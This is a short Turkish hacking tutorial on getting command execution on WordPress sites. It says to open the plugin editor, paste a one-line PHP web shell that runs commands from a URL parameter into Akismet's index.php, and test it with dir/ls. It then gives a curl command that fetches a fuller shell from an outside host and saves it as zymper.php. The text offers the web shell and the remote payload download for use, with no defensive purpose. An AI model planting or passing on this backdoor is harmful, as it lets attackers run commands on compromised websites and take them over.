WORDPRESS KOMUT SHELL UPLOAD [METHOD]

WORDPRESS KOMUT SHELL UPLOAD [METHOD]

Merhaba Arkadaşlar Bugün  Sizlere  Wordpress Sitelerde Komut Çalıştırmayı Anlatacağım Konuyu Yabancı Bir Kaynaktan Çevirerek Sizlere Sunuyoruz!

İlk Önce Wordpress Yönetici Paneline Girerek Plugin Editor Bölümüne Geliyoruz.

Editor'e Geldikten Sonra Herhangi Bir Plugin'i Seçiniz Seçtikten Sonra URL Şu Şekilde Olacaktır.

/wp-admin/plugin-editor.php?file=akismet/index.php

[Önemli]

Şimdi İse Editleyecegiz Yapmanız Gereken Tek Şey Size Vereceğim Aşağıdaki Komut'u Yapıştırmak Olacaktır.

<pre><?php system($_GET['x'])?></pre>

[ÖRNEK]

öreksitecom/wp-content/plugins/akismet/?x=

Bu Şekilde Konsol Çalıştırabilirsiniz Burdan Shellde Yükleyebilmeniz Mümkündür ve
Genelde nginx Serverlerde Çalışan Bir Yöntemdir.

[ÖRNEK]

öreksitecom/wp-content/plugins/akismet/?x=dir ​

[dir/ls] Komutlarını Kullanarak Deneyebilirsiniz Çalışıp Çalışmadıgını Size Dizin İçerisindeki Klasör ve Dosyaları Gösterir.

Gördügünüz Gibi Gayet Pratik Bir Yöntem

curl shellyüküsitecom/shell.txt -o zymper.php şeklinde komut çalıştırdığınızda zymper.php isminde shellyüküsitecom/shell.txt sitesindeki shellin yüklü olduğu bir dosya size verecektir​